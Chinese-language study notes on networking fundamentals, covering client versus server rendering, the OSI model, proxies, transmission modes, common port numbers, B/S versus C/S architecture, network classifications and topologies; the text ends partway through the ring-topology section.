客户端渲染优点:用户交互体验好:由于客户端渲染使用了JavaScript的动态渲染,可以实现更加流畅的界面交互效果.更好的分离前后端:前端只需要关注如何处理数据和呈现内容,不用关心后端如何生成页面,这样可以更加灵活地进行前后端的分离.缺点:首屏加载慢:由于客户端需要先下载页面的HTML和JavaScript代码,再通过JavaScript进行渲染,所以首屏加载速度相对较慢.对浏览器性能要求高:客户端渲染需要大量的JavaScript计算和DOM操作,这对浏览器性能有较高的要求.服务端渲染优点:首屏加载快:由于服务端渲染直接生成HTML页面,所以首屏渲染速度很快.对浏览器性能要求低:服务端渲染不需要大量的JavaScript计算和DOM操作,对浏览器性能要求较低.缺点:用户交互体验差:由于服务端渲染只在页面加载时渲染HTML,不支持动态更新,所以用户交互效果相对较差.前后端分离不够彻底:服务端渲染需要将前端和后端的逻辑结合在一起,相对较难实现真正的前后端分离.对服务器性能要求高:服务端需要承担渲染页面的工作,所以对服务器的性能有较高的要求. 综上所述,客户端渲染和服务端渲染各自有其优缺点,选择哪种方式需要根据具体的应用场景和需求进行权衡. 网络专业术语 什么是网络? 网络(network)是指连接在一起的计算机、设备和其他物体的集合,使它们能够相互通信和交换数据. 这些设备可以是电脑、手机、路由器、交换机、服务器等. 网络可以是局域网(Local Area Network,简称 LAN)、广域网(Wide Area Network,简称WAN)、城域网(Metropolitan Area Network,简称MAN) 等不同范围的连接. 在一个网络中,设备通过协议进行通信,这些协议规定了通信过程中需要遵守的规则和标准,例如TCP/IP协议就是一种常见的网络协议.通过网络,用户可以在不同的地理位置之间共享信息、资源和服务,例如电子邮件、网页浏览、在线视频、远程文件访问等.网络在现代社会中扮演着非常重要的角色,它不仅使人们更容易地获取信息和资源,还支持了商业、教育、娱乐、社交等各个领域的发展. 什么是OSI七层模型? OSI(开放式系统互联)七层模型是一种标准的网络通信架构,它将网络通信过程划分为七个不同的层次. 每个层次都负责特定的功能,从物理传输到应用层面,通过定义每个层次之间的接口和协议,使得不同的网络设备和系统可以相互通信. 下面是OSI七层模型的层次及其功能: 物理层(Physical Layer):负责在物理介质上传输原始比特流,它定义了如何传输数据的物理媒介、 信号的编码和解码方式、电气和机械规范等. 数据链路层(Data Link Layer):将物理层提供的原始比特流转化为数据帧,以提供可靠的点对点通信,主要完成数据帧的组帧和解帧、差错检测和纠正等功能. 网络层(Network Layer):负责为数据包选择路由和传输,为不同的应用程序提供透明的通信服务. 主要包括寻址、路由选择、流量控制、拥塞控制等功能. 传输层(Transport Layer):提供端到端的数据传输服务,为应用程序提供可靠的数据传输机制.主要完成数据分段、流量控制、差错检测和纠正等功能. 会话层(Session Layer):负责建立、管理和维护应用程序之间的会话连接,包括会话的建立、维护 和结束等功能. 表示层(Presentation Layer):负责数据格式的转换,确保应用程序能够理解和处理来自其他应用程序的数据.主要完成加密、压缩、格式转换等功能. 应用层(Application Layer):提供网络应用程序与用户之间的接口,为用户提供各种网络应用服务, 如电子邮件、文件传输、远程登录等. 通过将网络通信过程划分为不同的层次,OSI七层模型可以促进不同厂商、不同类型的网络设备之间的互操作性,从而实现全球范围内的互联网通信. 物理层物理层是OSI七层模型中的第一层,也是整个网络体系结构的底层.该层的主要任务是将比特流(0和1)转换为物理信号,并在网络中传输这些信号. 物理层的功能包括: 建立和维护物理连接:物理层负责在通信设备之间建立物理连接,如使用网线、光缆等连接设备. 传输数据:物理层负责将比特流通过物理信号传输到另一台设备,以实现数据的传输. 编码和调制:物理层负责将数字信号转换成模拟信号,以便在物理介质上传输. 时钟同步:物理层负责保证发送和接收设备的时钟同步,以确保正确地传输数据. 电气和机械规范:物理层定义了物理媒介、信号电压、频率和传输速率等方面的规范,以确保不同设备 之间的互操作性. 总之,物理层的主要作用是将数字信号转换为物理信号并将其传输到目标设备,以便在网络中进行通信. 物理层的作用:连接不同的物理设备,传输比特流.该层为上层协议提供了一个传输数据的可靠的物理媒体.简单的说,物理层确保原始的数据可在各种物理媒体上传输. 物理层设备: 物理层是网络模型中的第一层,负责将比特流转换为物理信号,并在物理媒介上传输这些信号.以下是一些在物理层中使用的设备: 网卡(Network Interface Card):也称为网络适配器或网卡,是连接计算机到网络中的硬件设备.它 负责将比特流转换为物理信号,并通过物理媒介传输这些信号. 集线器(Hub):是一种被动设备,用于将多个计算机连接到网络上.它的主要功能是将来自一个端口 的数据广播到所有其他端口. 中继器(Repeater):是一种放大信号的设备,用于扩展网络的物理距离.中继器接收信号后,放大并 重新发送到下一个设备. 光纤收发器(Optical Transceiver):是一种用于将数字信号转换成光信号的设备.它通常用于连接两 个网络设备之间的光纤. 传输介质(Transmission Media):包括电缆、光缆、无线电波等物理媒介,用于在网络设备之间传输信号. 这些设备和媒介都是物理层中使用的基本元素,它们共同构成了计算机网络的基础设施,使得计算机之间能 够通过物理媒介进行通信. 数据链路层数据链路层是OSI七层模型中的第二层,位于物理层之上,它的主要功能是将数据帧从一个物理节点传输到另一个物理节点,保证数据在物理层的传输的可靠性和正确性. 数据链路层的主要功能包括: 帧同步:数据链路层负责将物理层传输的比特流组成数据帧,并在帧之间进行同步,以确保帧的可靠传输. 帧的识别:数据链路层负责在数据帧中添加头部和尾部,以便识别帧的起始和结束位置,并进行帧的检错和纠错处理. 访问控制:数据链路层实现了访问控制,以管理多个设备之间的共享物理媒介,例如以太网中的 CSMA/CD协议. 流量控制:数据链路层负责管理传输数据的速率,以确保数据不会被发送端发送太快,而接收端无法及时处理. 错误检测和纠正:数据链路层负责检测和纠正数据传输过程中出现的错误,例如奇偶校验、CRC检验等. 在数据链路层中,常用的设备包括网桥(Bridge)和交换机(Switch).网桥用于连接两个不同的局域网, 而交换机则用于连接多个局域网,并将数据帧从一个端口传输到另一个端口.这些设备在数据链路层起着重 要的作用,帮助实现了数据的可靠传输和访问控制. 有关数据链路层的重要知识点: 数据链路层为网络层提供可靠的数据传输; 基本数据单位为帧; 主要的协议:以太网协议; 两个重要设备名称:网桥和交换机. 封装成帧:”帧”是数据链路层数据的基本单位: MAC地址:每一个设备都拥有唯一的MAC地址,共48位,使用十六进制表示. 以太网协议:是一种使用广泛的局域网技术,是一种应用于数据链路层的协议,使用以太网可以完成相邻设备的数据帧传输 网络层网络层(Network Layer)是计算机网络体系结构中的第三层,也被称为互联网层(Internet Layer).它负责将网络上的数据包从源主机传输到目的主机,实现不同网络之间的互联互通. 网络层的主要功能包括: 网络寻址:网络层使用IP地址来标识不同的主机和网络.源主机将数据包发送到目的主机时,需要知道目的主机的IP地址,这样才能将数据包正确地路由到目的主机. 路由选择:当数据包经过多个网络时,网络层需要根据不同的路由算法选择最佳的路径将数据包传输到目的主机. 分段和重组:如果数据包的大小超过了网络层所支持的最大传输单元(MTU),网络层需要将数据包分 段,然后将每个分段单独传输,并在目的主机处将它们重组成原始的数据包. 网络层的重要协议包括IP协议、ICMP协议、ARP协议等.IP协议是网络层的核心协议,它定义了IP地址的格 式、数据包的封装和路由选择等重要功能.ICMP协议用于传输网络层的控制消息,例如错误报告和网络故障 信息等.ARP协议则用于将IP地址转换为物理地址,以便网络层能够将数据包正确地发送到目的主机. 网络层的主要协议: IP协议(Internet Protocol,因特网互联协议) ICMP协议(Internet Control Message Protocol,因特网控制报文协议) ARP协议(Address Resolution Protocol,地址解析协议) RARP协议(Reverse Address Resolution Protocol,逆地址解析协议) 网络层重要的设备:路由器 传输层传输层是计算机网络体系结构中的一个重要层次,它负责在网络之间传输数据,并为应用程序提供端到端的数据传输服务.传输层协议位于网络层和应用层之间,主要负责以下几个方面: 端口标识和多路复用:传输层使用端口号标识不同的应用程序,并提供多路复用和多路分解功能,使得多个应用程序可以共享网络连接. 数据传输可靠性:传输层使用TCP协议提供可靠的数据传输服务,保证数据传输的完整性和可靠性;使用UDP协议提供无连接的数据传输服务,速度较快但不可靠. 拥塞控制和流量控制:传输层使用TCP协议实现拥塞控制和流量控制,防止网络拥塞和数据包丢失. 常见的传输层协议包括TCP和UDP协议. TCP协议提供面向连接的、可靠的数据传输服务,适用于要求数据传输可靠性和完整性的应用场景 UDP协议提供无连接的、不可靠的数据传输服务,适用于要求数据传输速度和实时性的应用场景 有关网络层的重点: 传输层负责将上层数据分段并提供端到端的、可靠的或不可靠的传输以及端到端的差错控制和流量控制问题 包含的主要协议:TCP协议(Transmission Control Protocol,传输控制协议)、UDP协议(User Datagram Protocol,用户数据报协议) 重要设备:网关 会话层会话层(Session Layer)是OSI模型中的第五层,它提供了建立、管理和终止通信会话的机制.通信会话是指在网络中两个或多个设备之间的一系列交互,这些交互通常涉及数据交换、传输控制、错误检测和纠正等功能. 会话层的主要功能包括以下几个方面: 建立会话:会话层负责建立两个设备之间的通信会话,并确定通信双方的身份. 维护会话:在通信会话期间,会话层负责保持会话的状态信息,并确保通信双方之间的通信顺畅. 终止会话:当通信会话结束时,会话层负责关闭会话,并清除所有相关的状态信息. 管理会话:会话层还负责管理会话期间可能出现的各种错误和异常情况,以确保通信的可靠性和稳定 性. 总之,会话层在网络通信中扮演着重要的角色,它确保通信会话的顺利进行,并提供了各种必要的功能,以确保通信的可靠性、安全性和稳定性. 表示层表示层(Presentation Layer)是OSI模型中的第六层,它主要负责处理数据的表示和编码,以确保通信双方能够理解和解释彼此发送的数据. 表示层的主要功能包括以下几个方面: 数据格式化:表示层将数据从应用层接收后,负责将其转换为一种标准格式,以便于传输和接收. 数据加密和解密:为了确保通信的安全性,表示层可以对传输的数据进行加密和解密处理,以保护数据 的机密性和完整性. 数据压缩和解压缩:在网络传输过程中,数据传输的速度往往是非常重要的.表示层可以通过对数据进 行压缩和解压缩处理,以减小数据传输的大小,提高传输效率. 数据编码和解码:不同的计算机系统和应用程序之间,可能会使用不同的数据编码格式.表示层可以将 不同编码格式之间的数据进行转换和解码,以确保数据的正确传输和解释. 总之,表示层是网络通信中非常重要的一层,它确保了数据在传输过程中的正确性、可读性和安全性,同时也提高了数据传输的效率和可靠性. 应用层应用层是计算机网络体系结构中的最高层,它为用户提供了许多网络应用程序,如电子邮件、文件传输、 Web浏览器等. 应用层协议是在应用层之上运行的协议,用于定义应用程序之间的通信规则.常见的应用层协议包括HTTP、FTP、SMTP、POP3、IMAP、DNS等. 应用层的主要功能是实现应用程序之间的通信和数据交换,应用层协议负责规定数据的格式、编码和传输方式,以及通信双方的行为.应用层协议通常使用基于TCP或UDP协议的传输层协议来传输数据,因此应用层协议的功能和性能往往受限于传输层协议的限制. 应用层协议是网络通信中的重要组成部分,它为用户提供了各种各样的网络应用程序,并促进了互联网的普及和发展. 数据传输基本单位为报文;包含的主要协议:FTP(文件传输协议)、Telnet(远程登录协议)、DNS(域名解析协议)、SMTP(邮件传送协议),POP3协议(邮局协议),HTTP协议(超文本传输协议). 什么是寻址?什么是路由? 寻址就是通过一个地址来找到存储器中的数据或者设备中的寄存器,就好像你知道了一个房间的地址,就可以去到这个房间里找到你需要的东西一样.在计算机中,寻址是非常重要的过程,因为计算机需要通过地址来访问内存中的指令和数据,才能完成各种操作. 例如,当你打开一个软件或者浏览器时,计算机就需要通过地址来寻找这个软件或者浏览器的指令和数据,才能把它们加载到内存中,然后运行起来.在计算机指令中,也常常需要使用寻址的方式来访问内存中的数据,例如,将一个内存单元中的数据移动到寄存器中时,需要指定内存单元的地址. 通俗来讲寻址,就是要通过地址找某一样东西. 路由就是计算机网络中用来实现不同网络之间通信的一种设备或者技术. ​\t比如,你家用的无线路由器就是一种路由设备.它会将来自不同设备的数据包进行分类,并将它们发送到不同的目标网络,从而实现了不同设备之间的通信. 在计算机网络中,每个设备都有一个唯一的IP地址,路由器就是通过这些IP地址来进行数据包的转发. 当一个设备需要发送数据到另一个设备时,它会将数据包发送给它所在的网络中的路由器,路由器会根据目标IP地址来判断这个数据包应该被发送到哪个网络中,然后将数据包发送给下一个路由器,直到最终到达目标设备所在的网络,然后被目标设备接收. 路由技术在互联网中尤其重要,因为互联网是由众多的网络组成的,不同的网络可能使用不同的协议和技术,但通过路由器可以实现它们之间的互联互通. 这样,我们才能在任何地方都能访问互联网上的各种资源,包括网站、文件、视频等等. 路由器本质上是一种网关,是互联网的一个结点设备.实现的功能是对不同网络之间的数据包进行存储和分组转发.简单来说,大家可以把路由器理解为网络分发工具. 通俗来讲路由可以看做现实生活中的”路标”,就是路牌.它的作用就是给数据包指路的,而现实生活中,路标是给汽车指路的. 代理(Proxy)是什么?代理: 代理(Proxy)是一种网络通信模式,它充当了客户端和服务器之间的中间人,将客户端的请求转发给服务器,并将服务器的响应返回给客户端.代理的作用是隐藏客户端和服务器之间的真实IP地址,保护用户的隐私和安全,同时可以优化网络通信,提高访问速度和稳定性.代理常见的类型有正向代理和反向代理. 正向代理: 正向代理(Forward Proxy)是代表客户端向服务器发送请求的代理服务器.在正向代理的情况下,客户端需要将请求发送给代理服务器,然后由代理服务器向服务器发送请求,并将服务器的响应返回给客户端.正向代理常用于访问被封锁的网站,保护客户端IP地址隐私,以及优化网络通信等. 反向代理: 反向代理(Reverse Proxy)是代表服务器向客户端发送响应的代理服务器.在反向代理的情况下,客户端将请求发送给反向代理服务器,然后由反向代理服务器向服务器发送请求,并将服务器的响应返回给客户端.反向代理常用于负载均衡、高可用性(HA)和安全性等方面,可以将请求分发到不同的服务器上,从而提高访问速度和稳定性,同时也可以隐藏服务器的真实IP地址,提高安全性. 单工、半双工、全双工又是什么? 单工:简单的说就是一方只能发信息,另一方则只能收信息,通信是单向的. 半双工:比单工先进一点,就是双方都能发信息,但同一时间则只能一方发信息. 全双工:比半双工再先进一点,就是双方不仅都能发信息,而且能够同时发送. 单播、广播、组播?哪款用来表白好呢?表白为什么要表白? 通信方式分类在IPv4网络中,主机可采用的通信方式有如下三种: 单播:单台主机与单台主机之间的数据通信 广播:单台主机向网络中所有主机发送数据包的过程 组播:单台主机向选定的一组主机发送数据包的过程单播、广播以及组播的用途各不相同,并且使用不同的IP地址做为目的地址. 单播单播是指单台设备与单台设备之间的通信,源地址和目的地址都是单一的IPv4地址,单播数据包的通信可以在网络之间转发.在实际的网络通信中,大多数的通信都属于单播. 广播(组播)广播是一台主机向网络中所有主机发送数据包,广播的目的地址不同于单播单一的地址. 扩展知识广播有两类:定向广播和有限广播定向广播是将数据包发送到向本网络之外的特定网络所有主机,定向广播的目的地址是定向网络的广播地址,如当前网络为192.168.0.0/24,要向192.168.1.0/24的网络发送定向广播,那么定向广播的目的地址是:192.168.1.255.可以配置路由器让其转发定向广播有限广播是将数据包发送到本地网络的所有主机,有限广播使用的目的地址是:255.255.255.255.路由器不转发此广播. 组播(多播) 通信类型 描述 优点 缺点 注意事项 单播 单台设备与单台设备之间的通信 数据直达特定接收者,隐私性好 在多接收者时效率低,重复数据多 - 广播 单台设备向网络中所有主机发送数据 简单,无需特定路由,所有节点均可接收 可能导致网络拥塞,安全性低 一般限于单个广播域内,不跨越路由 组播 向指定的一组主机发送数据 相比广播减少网络流量,比单播更高效 需要网络支持IGMP等组播协议 接收组播的客户机需要安装相应的客户端程序,网络设备需要配置 吞吐量?难道指的是我们吐的量吗? 吞吐量是指在一定时间内系统或设备处理的数据量或事务数量.通俗理解吞吐量就好比是一条河流的水流量,河流的水流量表示在一定时间内河流中流过的水的数量. 吞吐量表示在一定时间内系统或设备处理的数据量或事务数量.如果一条河流水流量大,就能够承载更多的水和物质,同样地,如果一个系统的吞吐量大,就能够处理更多的数据或事务.因此,提高系统吞吐量是提高系统性能的一个重要指标. 端口在计算机网络中,端口(Port)是一种逻辑标识符,用于标识网络应用程序.每个网络应用程序都可以选择使用一个或多个端口来进行通信 比如学校同一个食堂卖菜的管卖菜,卖饮料的管饮料 同一台电脑对外来说只有一个IP,但是一台电脑可以提供各种不同的服务,比如WEB服务,FTP服务,SMTP邮件服务. 端口就是用来区别服务的,也就是说网络上的服务是用IP+端口这样的形式来区别的. 不同的服务或协议通常会使用不同的端口号,比如FTP服务使用的是21端口,SSH服务使用的是22端口,SMTP服务使用的是25端口,等等. 端口号的范围是从0到65535 端口被分为三类: 熟知端口(Well-known Ports):它们的端口号在0到1023之间,通常用于一些系统或常用服务,如 HTTP(端口80)、FTP(端口21)、SSH(端口22)、Telnet(端口23)等. 注册端口(Registered Ports):它们的端口号在1024到49151之间,通常用于一些应用程序或服务, 如Oracle数据库(端口1521)、MySQL数据库(端口3306)等. 动态/私有端口(Dynamic/Private Ports):它们的端口号在49152到65535之间,通常用于客户端应用程序临时分配的端口号. 了解常用的端口号可以帮助我们更好地理解网络协议和应用程序的通信方式.在网络故障排除和安全管理中,端口号也经常被用来诊断和解决问题. 以下是常见的端口: 21:FTP(文件传输协议) 22:SSH(安全外壳协议) 23:Telnet(远程终端协议) 25:SMTP(简单邮件传输协议) 53:DNS(域名系统) 80:HTTP(超文本传输协议) 110:POP3(邮局协议版本3) 143:IMAP(互联网消息访问协议) 161:SNMP(简单网络管理协议) 443:HTTPS(安全超文本传输协议) 465:SMTPS(加密SMTP) 587:SMTP(带有扩展功能的邮件传输协议) 993:IMAPS(加密IMAP) 995:POP3S(加密POP3) 3389:RDP(远程桌面协议) 这些是常用的端口,但实际上端口号远不止这些,每个应用程序都可以选择不同的端口号.了解常用端口号可以帮助我们更好地了解网络协议和应用程序. 数据库使用的端口号取决于数据库管理系统(DBMS)和配置.以下是一些常见的数据库管理系统使用的默认端口号: MySQL:3306 PostgreSQL:5432 Oracle数据库:1521 Microsoft SQL Server:1433 MongoDB:27017 Redis:6379 需要注意的是,这些是默认端口号,具体端口号还要取决于数据库的具体配置.如果需要连接到不同的端口号,用户需要在连接字符串或配置文件中指定相应的端口号. B/S C/S目前PC端应用有两种开发模式,分别为CS和BS CSCS即Client/Server(客户机/服务器)结构,C/S结构在技能上非常成熟,它的重要特征就是交互性强、拥有安全的存取形式、网络通信数量低、响应速度快、利于处置大量数据.可是这个结构的程序就是针对性开发,变更不够灵活,维护与管理的难度较大.常常只局限在小型局域网,不利于扩展.而且,因为这个结构的每台客户机全部须要安装相对应的客户端程序,分布功能弱并且兼容性差,不可以完成迅速部署安装与配置,因为这样缺少通用性,拥有比较大的局限性.请求拥有肯定专业水准的技能人员去结束. BSBS即Browser/Server(浏览器/服务器)结构,就是只安装维护一个服务器(Server),而客户端选用浏览器(Browser)运行软件.B/S结构应用程序相对于传统的C/S结构应用程序就是一个特别大的进步. B/S结构的重要特征就是分布性强、维护方便、开发简单并且共享性强、总体拥有费用低.但数据安全性问题、对服务器需要过高、数据传输速度慢、软件的个性化特征明显减少,这些缺点就是有目共睹的,难以完成传统形式下的特殊功能请求.比如通过浏览器实行大量的数据输入或实行报表的应答、专用性打印输出全部相对比较困难与不便.另外,完成复杂的应用构造有较大的困难.两者重要优缺点如下: CS架构优缺点优点:可以足够表现客户端PC的处置才能,很多工作能够在客户端处置以后再提交给服务器,于是CS客户端响应速度快.操作界面漂亮、形式多样,能够足够满足客户自己的个性化要求.C/S结构的管理信息系统拥有比较强的事务处置才能,可以完成复杂的业务过程.安全性能能够非常容易确保,C/S通常面向相比固定的用户群,程序越发注重过程,它能够对权限实行多层次校验,提供了更安全的存取形式,对信息安全的控制才能非常强.通常高度机密的信息系统选用C/S结构适宜.缺点:须要专门的客户端安装程序,分布功能弱,针对点多面广且不具备网络条件的用户群体,不可以完成迅速部署安装与配置.兼容性差,关于不一样的开发工具,拥有比较大的局限性.假如选用不一样工具,须要重新改写程序.开发、维护费用较高,须要拥有肯定专业水准的技术人员才可以结束,发生一次升级,就全部客户端的程序全部须要更改.用户群固定.因为程序须要安装就可使用,因为这样不符合面向一些不可知的用户,于是实用面窄,常常用来局域网中.BS架构优缺点优点:分布性强,客户端零维护.只需有网络、浏览器,能够随时随地实行查询、浏览等业务处理.业务扩展简单便利,通过添加网页就可以添加服务器功能维护简单便利,只须要更改网页,就可以完成全部用户的同步更新.开发简单,共享性强.缺点:个性化特征明显减少,没办法完成拥有个性化的功能要求在跨浏览器上,BS架构不尽如人意.客户端服务器端的交互就是请求-响应形式,常常动态刷新页面,响应速度明显减少(Ajax能够肯定程度上处理这个问题).没办法完成分页显示,给数据库访问导致较大的压力.在速度与安全性上须要花费超大的设计费用.功能弱化,难以完成传统形式下的特殊功能需要. 小结CS响应速度快,安全性强,可是开发维护费用高;BS能够完成跨平台,客户端零维护,可是个性化才能低,响应速度较慢.于是有一些单位平日办公应用BS,在实际生产当中使用CS结构. 网络分类网络可以按照不同的标准进行分类,以下是一些常见的分类方式: 按照地理范围分类网络类型描述优点缺点应用场景局域网 (LAN)涵盖小范围地理区域,如家庭、办公室或学校数据传输速度快,建设成本低覆盖范围有限家庭、小型至中型办公室、学校城域网 (MAN)涵盖城市范围,通常由多个LAN连接而成能连接远距离的局域网,速度相对较快建设和维护成本比LAN高城市或大型企业,如市政机构或教育机构网络广域网 (WAN)涵盖更广泛的地理范围,跨越国家或大陆覆盖范围广,能连接国际间的网络建设成本高,维护复杂,速度可能有限互联网、大型跨国公司和研究机构之间的网络按照拓扑结构分类网络拓扑类型描述优点缺点应用场景总线型网络所有设备连接到一条中央总线上成本低廉,易于实施,适合小规模网络总线出现故障会影响所有设备,通信可能会发生碰撞小型办公室、学校网络星型网络所有设备连接到一个中央设备上易于监控和管理,单点故障不影响其他设备中央设备故障可能导致整个网络瘫痪,成本高于总线型网络家庭网络、企业网络环型网络所有设备沿着一个环形线路连接起来数据传输延迟相对固定,适合有固定数据路径需求的场景增减节点可能会影响网络的运作,单点故障影响整个网络一些特定要求稳定传输的工业控制环境网状型网络多个设备之间直接连接提高了网络的可靠性和冗余性成本较高,管理和配置相对复杂需要高可靠性的应用,如互联网的核心网络树型网络结合了星型和总线型网络的特点易于扩展成大型网络,分层管理可以简化网络管理顶层中央节点故障会影响下面的所有设备大型组织或分布式组织,如ISP网络按照使用者分类网络类型描述优点缺点应用场景公共网络对任何人开放,如互联网存取开放,资源丰富,连接全球安全风险较高,隐私控制较弱一般互联网活动,信息共享,社交媒体私有网络只对特定组织或个人开放,如企业内部网络或个人家庭网络安全性较高,可定制化强,控制访问权限建设成本和管理成本可能较高,资源有限企业网络,家庭网络以下是IANA定义的标准私网IP地址范围:`10.0.0.0`到10.255.255.255、172.16.0.0 到 172.31.255.255、192.168.0.0 到 192.168.255.255 其余的都是公网网段按照技术分类网络类型描述优点缺点应用场景有线网络使用电缆或光纤等有线媒介进行通信的网络传输速度稳定快速,受干扰小,安全性相对较高需要布线,灵活性相对较低办公楼、数据中心、学校无线网络使用无线电波等无线媒介进行通信的网络,如Wi-Fi和蓝牙网络布置灵活,扩展容易,便于移动设备连接受环境影响大,安全性和速度可能较低家庭、咖啡店、公共场所混合网络同时使用有线和无线媒介进行通信的网络结合有线和无线的优点,灵活且功能全面建设和维护相对复杂,成本可能较高大型企业、校园网、智能家居系统 网络的分类可以根据不同的标准进行,不同的分类方式可以从不同的角度切入,对于不同应用场景的网络建 设有着重要的指导意义. 地理范围分类局域网局域网(Local Area Network,LAN)是指在一个较小的地理范围内,由多台计算机和设备组成的通信网络.通常情况下,这个范围不会超过几个建筑物或者一个校园.局域网通常由一些硬件设备(例如交换机、路由器、网桥等)和软件设备(例如操作系统、网络协议、应用 程序等)组成.局域网中的设备可以通过有线或者无线方式进行连接,使得设备之间可以互相通信和共享资源,例如打印机、文件服务器、数据库等.局域网的优点包括传输速度快、安全性高、成本低等.由于其覆盖范围较小,因此可以使用较低功率的网络 设备进行建设和维护,同时也可以更加容易地实现管理和控制.常见的局域网应用包括企业内部网络、学校网络、家庭网络等.城域网城域网(Metropolitan Area Network,MAN)是指连接在一个城市范围内的计算机和网络设备组成的局域网.城域网的覆盖范围比局域网更广,通常是几个到几十个公里.城域网通常是由多个局域网通过网桥、路由器等网络设备相互连接而成.这些设备可以将局域网之间的数据进行转发和路由,从而实现城域网之间的通信.城域网中的计算机和设备可以共享资源,例如文件、打印机、数据库等.城域网的优点包括传输速度快、可靠性高、覆盖范围广等.它可以为一个城市内的不同组织和企业提供通信和资源共享的平台,支持城市范围内的电子商务、远程教育、视频会议等应用.常见的城域网应用包括大型企业内部网络、政府机构网络、医院网络等.广域网广域网(Wide Area Network,WAN)是指连接在不同地理位置上的计算机和网络设备组成的网络.广域网的覆盖范围比城域网和局域网更广,可以跨越多个城市、地区、甚至是国家和大洲.广域网通常是由多个城域网或者局域网通过路由器、交换机等网络设备相互连接而成.广域网中的数据通常 通过互联网或者专用线路进行传输.广域网中的计算机和设备可以互相通信和共享资源,例如文件、数据库、应用程序等.广域网的优点包括覆盖范围广、连接速度快、可靠性高等.它可以为跨越不同地理位置的组织和企业提供通信和资源共享的平台,支持远程办公、远程教育、视频会议、云计算等应用.常见的广域网应用包括跨国企业网络、电信运营商网络、云服务提供商网络等.互联网互联网(Internet)是指全球范围内相互连接的计算机网络,其目的是为了实现信息的共享和交流.互联网的发展始于20世纪60年代,经过几十年的演进和发展,如今已成为全球最大的信息资源库和通信平台之一.互联网的特点包括开放性、去中心化、信息共享和交互性.任何人都可以通过互联网来获取和发布信息,无需事先获得任何特殊权限或授权.互联网是去中心化的,没有一个中心控制机构可以掌控整个互联网,而是由许多不同的网络和服务器组成.互联网还具有信息共享和交互性的特点,使得人们可以通过电子邮件、社 交媒体、在线聊天等方式与世界各地的人们进行交流和互动.随着技术的不断进步,互联网正在不断地发生变化和演进.例如,移动互联网、物联网、人工智能等技术的发展和应用,正在为互联网带来更多的新功能和应用场景,使得互联网对人们的生活和工作产生越来越深远的影响. 使用者分类公共网络(外网)公共网络是指由政府或私人机构建立和运营的开放式网络,供公众使用.这些网络通常是基于互联网协议的,使得用户可以通过任何连接到该网络的设备(例如电脑、手机、平板电脑等)访问互联网上的信息和服务.公共网络的优点在于其开放性和普及性.公共网络为人们提供了广泛的网络连接选择,方便用户在任何时间和任何地点访问互联网.它还促进了信息共享和知识传播,为个人和企业提供了更广阔的市场和机会.公共网络通常分为两种类型:有线网络和无线网络.有线网络主要通过光纤、电缆等有线传输介质进行数据传输,其速度和可靠性较高;而无线网络则使用无线电波传输数据,提供了更大的灵活性和移动性,但速度和稳定性可能不如有线网络.尽管公共网络为人们提供了许多便利,但也存在一些安全和隐私问题,例如网络攻击、黑客入侵、数据泄露 等.因此,用户需要采取适当的安全措施来保护自己的信息和设备.私有网络(内网)私有网络是指由企业、组织或个人自行搭建和管理的局域网,通常是为了实现更安全、更高效的信息交流和 共享.私有网络与公共网络不同,私有网络通常只对授权的用户和设备开放,并且数据传输经过加密和其他安全措施的保护.私有网络的优点在于其安全性和控制性.企业或组织可以根据自己的需求和安全要求来设计和配置网络,确保其敏感数据和信息不会泄露或被黑客入侵.此外,私有网络也可以提高数据传输的效率和速度,减少网络延迟和拥堵.私有网络通常分为两种类型:远程访问VPN和专用网络.远程访问VPN可以让用户通过互联网远程连接到企业或组织内部的网络,从而实现远程办公或者远程访问企业内部资源的目的.专用网络则是由企业或组织自行搭建的局域网,通常用于内部员工之间的信息交流和共享.尽管私有网络具有许多优点,但其建设和维护成本较高,需要专业人员来进行设计、配置和管理.此外,私有网络的可扩展性和适应性可能也不如公共网络,因此企业或组织需要仔细评估其需求和资源,选择最适合自己的网络方案. 常见网络拓扑图网络拓扑图是用来描述计算机网络中各个节点之间物理连接和逻辑关系的图形化表示,可以帮助人们更直观 地了解网络的结构和布局.根据网络拓扑的不同特点,常见的网络拓扑图包括以下几种: 星型拓扑:所有的设备都连接到一个中心设备(如交换机、集线器等),中心设备负责转发数据.这种 拓扑结构简单,易于管理,但是中心设备故障会导致整个网络瘫痪. 总线型拓扑:所有的设备都连接到一条共享的电缆上,数据从一端传输到另一端.这种拓扑结构适用于 规模较小的网络,但是随着网络规模的增大,总线上的数据冲突会增加,导致网络效率降低. 环型拓扑:所有的设备连接成一个环形的链路,数据沿着环形链路传输,每个设备负责转发数据.这种 拓扑结构适用于数据传输要求高的网络,但是如果一个节点出现故障,整个环形链路就会中断. 树型拓扑:设备按照树状结构相连,中心节点连接多个分支节点,分支节点又连接其他节点.这种拓扑 结构适用于大型网络,具有高可扩展性和灵活性,但是管理和维护较为复杂. 网状拓扑:所有的设备都相互连接,没有中心节点.这种拓扑结构适用于要求高可靠性和高容错性的网 络,但是设备之间的连接和数据流向较为复杂. 不同的拓扑结构适用于不同的网络场景和需求,企业和个人可以根据自己的实际情况选择最适合自己的网络拓扑结构. 星型结构星型拓扑是计算机网络中的一种常见拓扑结构,它的特点是所有的设备都连接到一个中心节点上,这个中心 节点通常是一个集线器、交换机或路由器.中心节点负责转发数据,并控制设备之间的通信. 在星型拓扑中,每个设备都只需要与中心节点直接相连,因此网络结构简单,易于管理和维护.当一个设备需要与其他设备通信时,它只需要向中心节点发送数据包,中心节点则会将数据包转发到目标设备. 与其他拓扑结构相比,星型拓扑有以下优点: 易于管理和维护:由于所有的设备都连接到中心节点上,因此网络结构简单,易于管理和维护. 易于扩展:当需要增加新的设备时,只需要将新设备连接到中心节点上即可,不会对其他设备产生影 响. 数据传输稳定:由于每个设备只需要与中心节点直接相连,因此数据传输稳定,不会出现数据冲突的情 况. 但是,星型拓扑也存在一些缺点: 中心节点故障会导致整个网络瘫痪:如果中心节点出现故障,整个网络将无法正常运行. 中心节点带宽有限:由于所有的设备都需要通过中心节点进行通信,因此中心节点的带宽可能会成为瓶 颈,影响网络性能. 成本较高:由于每个设备都需要连接到中心节点上,因此需要更多的网络线缆和端口,相对来说成本较 高. 总的来说,星型拓扑是一种简单易用的拓扑结构,适用于小型网络或需要集中管理的网络. 环形结构环型拓扑是一种计算机网络拓扑结构,其特点是所有的设备都按照环的形式连接起来,每个设备都与相邻的 两个设备相连.数据在环上流动,当一个设备向另一个设备发送数据时,数据会沿着环路传输,直到到达目标设备. 环型拓扑的优点包括: 成本低:相比于星型拓扑和总线型拓扑,环型拓扑所需的线缆数量较少,因此成本相对较低. 易于扩展:当需要增加新的设备时,只需要在环上添加一个新节点即可. 